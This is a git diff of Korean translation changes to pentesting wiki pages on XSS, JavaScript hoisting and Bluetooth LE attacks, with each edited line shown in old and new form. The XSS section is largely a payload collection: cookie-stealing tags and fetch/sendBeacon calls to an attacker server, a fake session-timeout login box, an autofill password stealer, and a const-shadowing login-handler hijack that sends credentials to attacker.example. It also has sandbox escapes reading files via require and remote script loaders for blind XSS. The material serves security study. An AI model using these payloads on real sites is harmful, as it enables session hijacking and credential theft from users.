<script type="speculationrules">
{
@ -956,24 +958,24 @@ import { partition } from "lodash"
}
</script>
```
### 웹 Content-Types XSS
### 웹 Content-Types XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 다음 Content-Types는 모든 브라우저에서 XSS를 실행할 수 있습니다:
(출처: [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 다음 Content-Types는 모든 브라우저에서 XSS를 실행할 수 있습니다:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? 목록에는 없지만 CTF에서 본 것 같음)
- text/plain (?? 목록에는 없지만 CTF에서 본 적이 있는 것 같습니다)
- application/rss+xml (off)
- application/atom+xml (off)
다른 브라우저에서는 다른 **`Content-Types`**를 사용해 임의의 JS를 실행할 수 있습니다. 확인: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
다른 브라우저에서는 다른 **`Content-Types`**가 임의의 JS를 실행하는 데 사용될 수 있습니다. 확인: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### xml Content Type
페이지가 text/xml content-type으로 반환되는 경우, 네임스페이스를 지정하여 임의의 JS를 실행할 수 있습니다:
페이지가 text/xml content-type으로 반환되는 경우 네임스페이스를 지정하여 임의의 JS를 실행할 수 있습니다:
```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -983,9 +985,9 @@ import { partition } from "lodash"
```
### 특수 치환 패턴
다음과 같은 코드가 사용될 때 **`"some {{template}} data".replace("{{template}}", <user_input>)`** 공격자는 [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the-replacement) 를 사용해 일부 보호를 우회하려고 시도할 수 있습니다: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
다음과 같은 **`"some {{template}} data".replace("{{template}}", <user_input>)`**가 사용될 때, 공격자는 [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement)를 사용해 일부 보호장치를 우회하려 시도할 수 있다: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
예를 들어 [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) 에서는 스크립트 내부의 **JSON 문자열을 이스케이프**하여 임의의 코드를 실행하는 데 이것이 사용되었습니다.
예를 들어 [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)에서는, 이 방법이 스크립트 내부의 **scape a JSON string**에 사용되어 임의의 코드를 실행하는 데 이용되었다.
### Chrome Cache to XSS
@ -996,7 +998,7 @@ chrome-cache-to-xss.md
### XS Jails Escape
사용할 수 있는 문자가 제한되어 있다면, XSJail 문제에 대한 다른 유효한 해결책들을 확인하세요:
사용할 수 있는 문자가 제한되어 있다면, XSJail 문제에 대한 다음의 다른 유효한 해결책들을 확인하세요:
```javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@ -1027,9 +1029,9 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
만약 신뢰할 수 없는 코드를 실행하기 전에 **모든 항목이 undefined**라면 (예: [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) 임의의 신뢰할 수 없는 코드 실행을 악용하기 위해 "무(無)에서" 유용한 객체를 생성할 수 있습니다:
만약 신뢰할 수 없는 코드를 실행하기 전에 **모든 이 undefined**라면 (예: [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) 임의의 신뢰할 수 없는 코드 실행을 악용하기 위해 "무에서" 유용한 객체를 생성할 수 있습니다:
- import() 사용
- import() 사용하여
```javascript
// although import "fs" doesnt work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
@ -1042,7 +1044,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
// our actual module code
})
```
따라서, 해당 모듈에서 **다른 함수를 호출할 수 있다면**, 그 함수에서 `arguments.callee.caller.arguments[1]`를 사용하여 **`require`**에 접근할 수 있습니다:
따라서, 해당 모듈에서 **다른 함수를 호출할 수 있다면**, 그 함수에서 `arguments.callee.caller.arguments[1]`를 사용 **`require`**에 접근할 수 있습니다:
```javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
@ -1051,7 +1053,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
)
})()
```
앞선 예제와 유사하게, **에러 핸들러를 사용**해 모듈의 **wrapper**에 접근하여 **`require`** 함수를 얻을 수 있습니다:
이전 예제와 유사하게, **use error handlers**를 사용하여 모듈의 **wrapper**에 접근하고 **`require`** 함수를 얻을 수 있다:
```javascript
try {
null.f()
@ -1091,7 +1093,7 @@ trigger()
```
### Obfuscation & Advanced Bypass
- **한 페이지에 다양한 obfuscations:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
- **한 페이지에 다양한 obfuscations:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
@ -1272,7 +1274,7 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
```
## XSS 일반적인 payloads
### 한 번에 여러 payloads
### 여러 payloads를 하나로
{{#ref}}
@ -1281,14 +1283,14 @@ steal-info-js.md
### Iframe Trap
사용자가 페이지를 떠나지 않고 iframe 내에서 이동하도록 유도하여, (폼으로 전송되는 정보를 포함한) 사용자의 행동을 탈취합니다:
사용자가 iframe을 벗어나지 않고 페이지 내에서 이동하도록 유도하고 그의 행동(폼으로 전송된 정보를 포함)을 탈취합니다:
{{#ref}}
../iframe-traps.md
{{#endref}}
### Cookies 가져오기
### 쿠키 가져오기
```javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@ -1311,8 +1313,8 @@ steal-info-js.md
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!TIP]
> cookies에 HTTPOnly 플래그가 설정되어 있으면 **JavaScript로는 해당 cookies에 접근할 수 없습니다.** 하지만 운이 좋다면 [이 보호 장치를 우회할 몇 가지 방법](../hacking-with-cookies/index.html#httponly)이 있습니다.
> 쿠키에 HTTPOnly flag가 설정되어 있으면, **JavaScript에서 cookies에 접근할 수 없습니다**. 하지만 운이 좋다면 [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly)이 있습니다.
### 페이지 콘텐츠 탈취
```javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
@ -1402,15 +1404,15 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
};
}
```
_짧은 시간은 응답하는 port를 의미합니다_ _긴 시간은 응답이 없음을 의미합니다._
_짧은 시간은 응답하는 포트를 나타냅니다_ _긴 시간은 응답하지 않음을 나타냅니다._
Chrome에서 차단된 ports 목록은 [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc)에서 확인하고, Firefox의 목록은 [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)에서 확인하세요.
Chrome에서 차단된 포트 목록은 [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc)에서, Firefox에서의 목록은 [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)에서 확인하세요.
### credentials를 요청하는 박스
### 자격 증명 요청 박스
```html
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
### 자동 완성 비밀번호 탈취
### 자동 완성 비밀번호 캡처
```javascript
<b>Username:</><br>
<input name=username id=username>
@ -1425,7 +1427,9 @@ When any data is introduced in the password field, the username and password is
### Hijack form handlers to exfiltrate credentials (const shadowing)
페이지에서 중요한 handler(예: `function DoLogin(){...}`)가 더 뒤에 선언되고 payload가 더 먼저 실행된다면(예: via an inline JS-in-JS sink), 같은 이름의 `const`를 먼저 정의하여 handler를 선점하고 잠글 수 있습니다. 이후 함수 선언은 `const` 이름을 재바인딩할 수 없으므로, 당신의 hook이 제어권을 유지합니다:
비밀번호 필드에 어떤 데이터라도 입력되면 사용자 이름과 비밀번호가 공격자 서버로 전송됩니다. 클라이언트가 저장된 비밀번호를 선택해 아무것도 입력하지 않아도 자격 증명은 유출됩니다.
If a critical handler (e.g., `function DoLogin(){...}`) is declared later in the page, and your payload runs earlier (e.g., via an inline JS-in-JS sink), define a `const` with the same name first to preempt and lock the handler. Later function declarations cannot rebind a `const` name, leaving your hook in control:
```javascript
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
@ -1434,13 +1438,13 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom
};
```
Notes
- 이는 실행 순서에 의존합니다: 인젝션 정식 선언보다 먼저 실행되어야 합니다.
- `eval(...)`로 페이로드가 래핑되면 `const/let` 바인딩은 전역이 되지 않습니다. 진정한 전역이자 재바인딩 불가능한 바인딩을 보장하려면 섹션 “Deliverable payloads with eval(atob()) and scope nuances” 동적 `<script>` 인젝션 기법을 사용하세요.
- 키워드 필터가 코드를 차단할 때는 위에 보인 것처럼 유니코드 이스케이프 식별자나 `eval(atob('...'))` 전달 방식과 결합하세요.
- 이는 실행 순서에 의존합니다: 인젝션 정식 선언보다 먼저 실행되어야 합니다.
- 페이로드가 `eval(...)`로 감싸여 있으면 `const/let` 바인딩은 전역이 되지 않습니다. 진짜 전역이자 재바인딩 불가능한 바인딩을 보장하려면 섹션 “Deliverable payloads with eval(atob()) and scope nuances”에 있는 동적 `<script>` 인젝션 기법을 사용하세요.
- 키워드 필터가 코드를 차단할 때는 위에서 본 것처럼 유니코드 이스케이프 식별자 또는 `eval(atob('...'))` 전달 방식과 결합하세요.
### Keylogger
github에서 검색해보니 몇 가지를 찾았습니다:
Just searching in github I found a few different ones:
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
@ -1493,7 +1497,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
### Blind XSS payloads
다음도 사용할 수 있습니다: [https://xsshunter.com/](https://xsshunter.com)
또한 다음을 사용할 수 있습니다: [https://xsshunter.com/](https://xsshunter.com)
```html
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
@ -1558,9 +1562,9 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
```
### Regex - 숨겨진 콘텐츠 접근
### Regex - 숨겨진 콘텐츠 접근
From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)을 통해 알 수 있듯이, 일부 값이 JS에서 사라지더라도 다른 객체의 JS 속성에서는 여전히 해당 값을 찾을 수 있다. 예를 들어 REGEX의 입력값이 제거된 이후에도 해당 입력값을 찾을 수 있다:
[**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)에서 일부 값이 JS에서 사라지더라도 다른 객체의 JS 속성에서 여전히 찾을 수 있다는 것을 알 수 있습니다. 예를 들어, REGEX의 input은 해당 REGEX의 input 값이 제거된 후에도 여전히 찾을 수 있습니다:
```javascript
// Do regex with flag
flag = "CTF{FLAG}"
@ -1577,43 +1581,44 @@ console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
```
### Brute-Force 목록
### Brute-Force List
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
{{#endref}}
## XSS: 다른 취약점 악용
## XSS를 이용한 다른 취약점 악용
### Markdown에서의 XSS
렌더링되는 Markdown 코드를 주입할 수 있나요? 어쩌면 XSS를 얻을 수 있습니다! 확인:
렌더링되는 Markdown 코드를 주입할 수 있나요? 어쩌면 XSS가 발생할 수 있습니다! 확인:
{{#ref}}
xss-in-markdown.md
{{#endref}}
### XSS to SSRF
### XSS를 SSRF로
캐싱을 사용하는 **사이트**에서 XSS를 발견했나요? Edge Side Include Injection을 통해 이를 **SSRF로 업그레이드**해보세요. 다음 페이로드:
캐싱을 사용하는 **사이트**에서 XSS를 발견했나요? Edge Side Include Injection을 통해 **그것을 SSRF로 업그레이드**해 보세요. payload는 다음과 같습니다:
```python
<esi:include src="http://yoursite.com/capture" />
```
것을 사용하면 쿠키 제한, XSS 필터 등을 우회하는 데 사용할 수 있습니다!\
를 사용해 cookie 제약, XSS 필터 등을 우회하고 그 이상을 할 수 있습니다!\
More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
### 동적으로 생성된 PDF에서의 XSS
웹 페이지가 사용자 제어 입력을 사용해 PDF를 생성하는 경우, PDF를 만드는 **봇을 속여** 임의의 **JS 코드 실행**을 유도해볼 수 있습니다.\ 따라서, **PDF 생성 봇이 발견하면** 어떤 종류의 **HTML** **tags**를 발견하면 이를 **해석**하고, 이 동작을 **악용**하여 **Server XSS**를 일으킬 수 있습니다.
웹 페이지가 사용자 제어 입력으로 PDF를 생성하는 경우, PDF를 생성하는 **bot**을 속여 임의의 **JS 코드**를 **실행**하게 만들 수 있습니다.\
따라서 **PDF creator bot**이 어떤 종류의 **HTML** **태그**를 발견하면 이를 **해석**하게 되고, 이 동작을 **악용**해 **Server XSS**를 발생시킬 수 있습니다.
{{#ref}}
server-side-xss-dynamic-pdf.md
{{#endref}}
HTML 태그를 주입할 수 없다면 **PDF 데이터 주입**을 시도해볼 가치가 있습니다:
HTML 태그를 주입할 수 없다면 **inject PDF data**를 시도해볼 가치가 있습니다:
{{#ref}}
@ -1622,13 +1627,13 @@ pdf-injection.md
### Amp4Email에서의 XSS
AMP는 모바일 기기에서 웹 페이지 성능을 가속화하기 위해 설계되었으며, 속도와 보안을 중시하면서 기능을 제공하기 위해 JavaScript가 보완된 HTML 태그를 사용합니다. 다양한 기능을 위한 컴포넌트를 지원하며, [AMP components](https://amp.dev/documentation/components/?format=websites)에서 확인할 수 있습니다.
AMP는 모바일 기기에서 웹 페이지 성능을 가속화하는 것을 목표로 하며, 속도와 보안을 강조하면서 JavaScript로 보완된 HTML 태그를 포함합니다. 다양한 기능을 제공하는 여러 컴포넌트를 지원하며, [AMP components](https://amp.dev/documentation/components/?format=websites)에서 확인할 수 있습니다.
The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format extends specific AMP components to emails, enabling recipients to interact with content directly within their emails.
예시: [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
예시 [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
### 파일 업로드에서의 XSS (svg)
### XSS 파일 업로드 (svg)
다음과 같은 파일을 이미지로 업로드하세요 (출처: [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
@ -1686,9 +1691,9 @@ id="foo"/>
```xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
```
더 많은 **SVG payloads를** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)에서 확인하세요
더 많은 **SVG payloads**는 [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)에서 확인하세요
## 기타 JS 트릭 관련 정보
## 기타 JS 트릭 & 관련 정보
{{#ref}}
@ -1704,7 +1709,7 @@ other-js-tricks.md
- [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
- [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)
## 참고 자료
## 참고자료
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
- [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)

View File

@ -4,29 +4,29 @@
## 기본 정보
JavaScript 언어에서 **Hoisting**이라고 하는 메커니즘은 변수, 함수, 클래스 또는 import 선언이 코드 실행 전에 개념적으로 해당 스코프의 최상단으로 끌어올려지는 것으로 설명됩니다. 이 과정은 JavaScript 엔진에 의해 자동으로 수행되며, 엔진은 스크립트를 여러 패스로 처리합니다.
JavaScript 언어에서는 **Hoisting**이라는 메커니즘이 있어 변수, 함수, class 또는 imports의 선언이 코드 실행 전에 해당 스코프의 맨 위로 끌어올려진다고 개념화됩니다. 이 과정은 JavaScript 엔진이 스크립트를 여러 패스로 처리하면서 자동으로 수행됩니다.
첫 번째 패스 동안 엔진은 구문 오류를 확인하기 위해 코드를 파싱하고 이를 추상 문법 트리로 변환합니다. 이 단계에는 특정 선언이 실행 컨텍스트의 최상단으로 이동되는 hoisting 과정이 포함됩니다. 파싱 단계가 성공하여 구문 오류가 없으면 스크립트 실행이 진행됩니다.
첫 번째 패스에서는 엔진이 코드를 파싱하여 문법 오류를 검사하고 이를 추상 구문 트리(AST)로 변환합니다. 이 단계에는 hoisting이 포함되며, 특정 선언이 실행 컨텍스트의 상단으로 이동되는 과정입니다. 파싱 단계가 성공적으로 완료되어 문법 오류가 없으면 스크립트 실행이 진행됩니다.
중요한 점은 다음과 같습니다:
다음 사항을 이해하는 것이 중요합니다:
1. 스크립트는 실행되기 위해 구문 오류가 없어야 합니다. 구문 규칙을 엄격히 준수해야 합니다.
2. 코드의 위치는 hoisting 때문에 실행에 영향을 미치며, 실제로 실행되는 코드는 텍스트 상의 표현과 다를 수 있습니다.
1. 실행이 일어나려면 스크립트에 문법 오류가 없어야 합니다. 문법 규칙을 엄격히 준수해야 합니다.
2. hoisting으로 인해 스크립트 내 코드의 배치가 실행에 영향을 미치므로, 실제로 실행되는 코드는 텍스트상 표현과 다를 수 있습니다.
#### Hoisting의 유형
MDN의 정보에 따르면, JavaScript에는 네 가지의 뚜렷한 hoisting 유형이 있습니다:
MDN의 정보에 따르면, JavaScript에는 네 가지 구별되는 hoisting 유형이 있습니다:
1. **Value Hoisting**: 선언 줄 이전에 스코프 내에서 변수의 값을 사용할 수 있게 합니다.
2. **Declaration Hoisting**: 선언 줄 이전에 스코프 내에서 변수를 참조할 수 있게 하여 `ReferenceError`를 일으키지 않지만, 변수의 값은 `undefined`가 됩니다.
3. 이 유형은 실제 선언 줄 이전에 변수가 선언되는 것 때문에 스코프 내 동작을 변경합니다.
4. 선언의 부수 효과가 해당 선언을 포함하는 나머지 코드가 평가되기 전에 발생합니다.
2. **Declaration Hoisting**: 선언 이전에 스코프 내에서 변수를 참조해도 `ReferenceError`가 발생하지 않게 하지만, 변수의 값은 `undefined`가 됩니다.
3. 이 유형은 실제 선언 줄 이전에 변수 선언이 이루어짐으로써 스코프 내 동작을 변경합니다.
4. 선언의 부수 효과(side effects)가 선언을 포함하는 나머지 코드가 평가되기 전에 발생합니다.
자세히 보면, 함수 선언은 type 1 hoisting 동작을 보입니다. `var` 키워드는 type 2 동작을 나타냅니다. `let`, `const`, 그리고 `class`를 포함하는 lexical 선언은 type 3 동작을 보입니다. 마지막으로, `import` 문은 type 1과 type 4 동작을 모두 가지며 독특합니다.
자세히 보면, 함수 선언은 유형 1의 hoisting 동작을 보입니다. `var` 키워드는 유형 2 동작을 보입니다. `let`, `const`, 및 `class`를 포함하는 lexical 선언은 유형 3 동작을 보입니다. 마지막으로, `import` 문은 유형 1과 유형 4 동작을 모두 가진 채로 hoisted되는 것이 특징입니다.
## 시나리오
따라서 선언되지 않은 객체가 사용된 이후에 **Inject JS code after an undeclared object** 할 수 있는 시나리오가 있다면, 해당 객체를 선언하여 문법을 **fix the syntax** 함으로써 (에러를 발생시키는 대신) 당신의 코드가 실행되게 할 수 있습니다:
따라서 **Inject JS code after an undeclared object**가 사용되는 시나리오가 있다면, 해당 객체를 선언하여 **fix the syntax**할 수 있으며(이렇게 하면 에러를 던지지 않고 대신 여러분의 코드가 실행됩니다):
```javascript
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
@ -68,7 +68,7 @@ alert(1);
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]
```
## 추가 시나리오
## 더 많은 시나리오
```javascript
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
@ -129,9 +129,9 @@ alert(1) -
}
trigger()
```
### const로 이름을 고정해 이후 선언을 선제적으로 차단하기
### const로 이름을 잠가 이후 선언을 차단하기
최상위의 `function foo(){...}`이 파싱되기 전에 코드를 실행할 수 있다면, 같은 이름으로 렉시컬 바인딩(예: `const foo = ...`)을 선언하면 이후의 function 선언이 해당 식별자를 다시 바인딩하는 것을 막을 수 있습니다. 이 방법은 페이지에서 나중에 정의되는 중요한 핸들러를 탈취하기 위해 RXSS에서 악용될 수 있습니다:
만약 최상위의 `function foo(){...}`가 파싱되기 전에 코드를 실행할 수 있다면, 동일한 이름으로 렉시컬 바인딩(예: `const foo = ...`)을 선언하면 이후의 function 선언이 해당 식별자를 다시 바인딩하는 것을 방지합니다. 이것은 페이지 후반에 정의된 중요한 핸들러를 탈취하기 위해 RXSS에서 악용될 수 있습니다:
```javascript
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
@ -145,9 +145,9 @@ function DoLogin(){ /* ... */ } // cannot override the existing const binding
```
노트
- 이는 실행 순서와 전역(최상위) 스코프에 의존합니다.
- 만약 당신의 payload가 `eval()` 내부에서 실행된다면, `eval` 내부의 `const/let`은 블록 스코프여서 전역 바인딩을 생성하지 않습니다. 진정한 전역 `const`를 만들기 위해 코드를 담은 새로운 `<script>` 요소를 삽입하세요.
- 페이로드가 `eval()` 내부에서 실행되는 경우, `eval` 내부의 `const/let`는 블록 스코프이며 전역 바인딩을 생성하지 않습니다. 진정한 전역 `const`를 생성하려면 코드를 가진 새로운 `<script>` 요소를 주입하세요.
## 참고자료
## 참
- [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
- [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)

View File

@ -2,23 +2,23 @@
{{#include ../../banners/hacktricks-training.md}}
## 소개
## Introduction
Bluetooth 4.0 규격부터 사용 가능한 BLE는 2400 ~ 2483.5 MHz 대역을 커버하는 단 40개의 채널만 사용합니다. 반면 전통적인 Bluetooth는 같은 대역에서 79개의 채널을 사용합니다.
Available since the Bluetooth 4.0 specification, BLE uses only 40 channels, covering the range of 2400 to 2483.5 MHz. In contrast, traditional Bluetooth uses 79 channels in that same range.
BLE 장치는 **advertising packets** (**beacons**)를 전송하여 통신합니다. 이 패킷들은 주변 기기들에게 해당 BLE 장치의 존재를 브로드캐스트합니다. 이런 비콘은 때때로 **데이터를 전송**하기도 합니다.
BLE 장치는 **advertising packets** (**beacons**)을 전송하여 통신하며, 이 패킷들은 주변 장치에 BLE 장치의 존재를 브로드캐스트합니다. 이러한 beacons는 때때로 **send data** 하기도 합니다.
리스닝 장치(또는 central device라고도 함)는 advertising packet에 대해 특정 advertising 장치로 전송되는 **SCAN request**로 응답할 수 있습니다. 그 스캔에 대한 **response**는 초기 advertising 요청에 담기지 못한 추가 정보를 포함하여 광고 패킷과 동일한 구조를 사용합니다(예: 전체 장치 이름).
리스닝 장치(또는 central device)는 특정 advertising 장치로 보낸 **SCAN request**에 응답할 수 있습니다. 그 스캔에 대한 **response**는 초기 advertising request에 들어가지 못한 추가 정보를 포함하여 **advertising** 패킷과 동일한 구조를 사용합니다. 예를 들어 전체 장치 이름이 그러한 추가 정보에 해당합니다.
![](<../../images/image (152).png>)
프리앰블 바이트는 주파수 동기화를 수행하며, 4바이트의 access address는 **connection identifier**로 동일 채널에서 여러 장치가 연결을 시도하는 시나리오에서 사용됩니다. 다음으로 Protocol Data Unit (**PDU**)는 **advertising data**를 포함합니다. PDU에는 여러 타입이 있으며, 가장 흔히 사용되는 것은 ADV_NONCONN_IND와 ADV_IND입니다. 장치가 **연결을 허용하지 않을 경우** ADV_NONCONN_IND PDU 타입을 사용하여 광고 패킷에만 데이터를 전송합니다. 장치가 **연결을 허용할 경우** ADV_IND를 사용하고, **connection**이 성립되면 광고 패킷 전송을 멈춥니다.
프리앰블 바이트는 주파수를 동기화하며, 네 바이트의 access address는 여러 장치가 동일 채널에서 연결을 시도할 때 사용하는 **connection identifier**입니다. 다음으로 Protocol Data Unit (**PDU**)는 **advertising data**를 포함합니다. PDU에는 여러 유형이 있으며, 가장 일반적으로 사용되는 것은 ADV_NONCONN_IND 및 ADV_IND입니다. 장치가 **연결을 허용하지 않을** 경우 **ADV_NONCONN_IND** PDU 유형을 사용하여 advertising 패킷에만 데이터를 전송합니다. 장치가 **연결을 허용할** 경우 **ADV_IND**를 사용하며, **connection**이 수립되면 advertising 패킷 전송을 중지합니다.
### GATT
Generic Attribute Profile (GATT)은 장치가 데이터를 어떻게 포맷하고 전송할지를 정의합니다. BLE 장치의 공격 표면을 분석할 때는 GATT(또는 GATTs)에 주로 집중하는데, 이는 장치 기능이 어떻게 트리거되고 데이터가 어떻게 저장·그룹화·수정되는지를 보여주기 때문입니다. GATT는 장치의 characteristics, descriptors, services를 16비트 또는 32비트 값으로 표 형태로 나열합니다. characteristic은 central 장치와 peripheral 간에 주고받는 **데이터 값**입니다. 이러한 characteristics는 추가 정보를 제공하는 descriptors를 가질 수 있습니다. 관련 동작을 수행하는 경우, characteristics는 종종 services로 **그룹화**됩니다.
**Generic Attribute Profile** (GATT)은 **device가 데이터를 어떻게 포맷하고 전송해야 하는지**를 정의합니다. BLE 장치의 공격 표면을 분석할 때 대부분 GATT(또는 GATTs)에 집중하게 되는데, 이는 장치 기능이 어떻게 트리거되는지와 데이터가 어떻게 저장되고 그룹화되며 수정되는지를 보여주기 때문입니다. GATT는 장치의 characteristics, descriptors, services를 16비트 또는 32비트 값으로 표 형태로 나열합니다. 하나의 **characteristic**은 central device와 peripheral 사이에서 **전송되는 데이터 값**입니다. 이러한 characteristics는 그들에 대한 추가 정보를 제공하는 **descriptors**를 가질 수 있습니다. **Characteristics**는 관련된 특정 동작을 수행하는 경우 **services**로 **그룹화되는** 경우가 많습니다.
## 열거
## Enumeration
```bash
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
@ -30,8 +30,8 @@ spooftooph -i hci0 -a 11:22:33:44:55:66
```
### GATTool
**GATTool**는 다른 장치와 **연결**을 **설정**하고 해당 장치의 **특성**을 나열하며 그 속성을 읽고 쓸 수 있게 해줍니다.\
GATTTool `-I` 옵션으로 대화형 셸을 실행할 수 있습니다:
**GATTool**은 다른 장치와의 **연결**을 **설정**하고, 해당 장치의 **특성**을 나열하며 속성을 읽고 쓸 수 있게 해준다.\
GATTTool `-I` 옵션으로 대화형 셸을 실행할 수 있다:
```bash
gatttool -i hci0 -I
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
@ -64,15 +64,15 @@ sudo bettercap --eval "ble.recon on"
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
```
## Sniffing 및 페어링되지 않은 BLE 장치의 능동적 제어
## Sniffing and actively controlling unpaired BLE devices
많은 저가형 BLE 주변 장치는 pairing/bonding을 강제하지 않습니다. bonding이 없으면 Link Layer 암호화가 활성화되지 않으므로 ATT/GATT 트래픽이 평문으로 전송됩니다. An off-path sniffer는 연결을 추적하여 GATT 연산을 디코딩해 characteristic handle과 값을 알아낼 수 있고, 근처의 어떤 호스트든 연결하여 그 쓰기 동작을 재생(replay)해 장치를 제어할 수 있습니다.
저가형 BLE 주변기기 중 다수는 pairing/bonding을 강제하지 않습니다. bonding이 없으면 Link Layer encryption은 활성화되지 않으므로 ATT/GATT 트래픽은 평문으로 전송됩니다. off-path sniffer는 연결을 추적하고 GATT 연산을 디코딩하여 characteristic handles 및 values를 알아낼 수 있으며, 주변의 어떤 host도 연결해서 그 쓰기들을 replay하여 기기를 제어할 수 있습니다.
### Sniffing with Sniffle (CC26x2/CC1352)
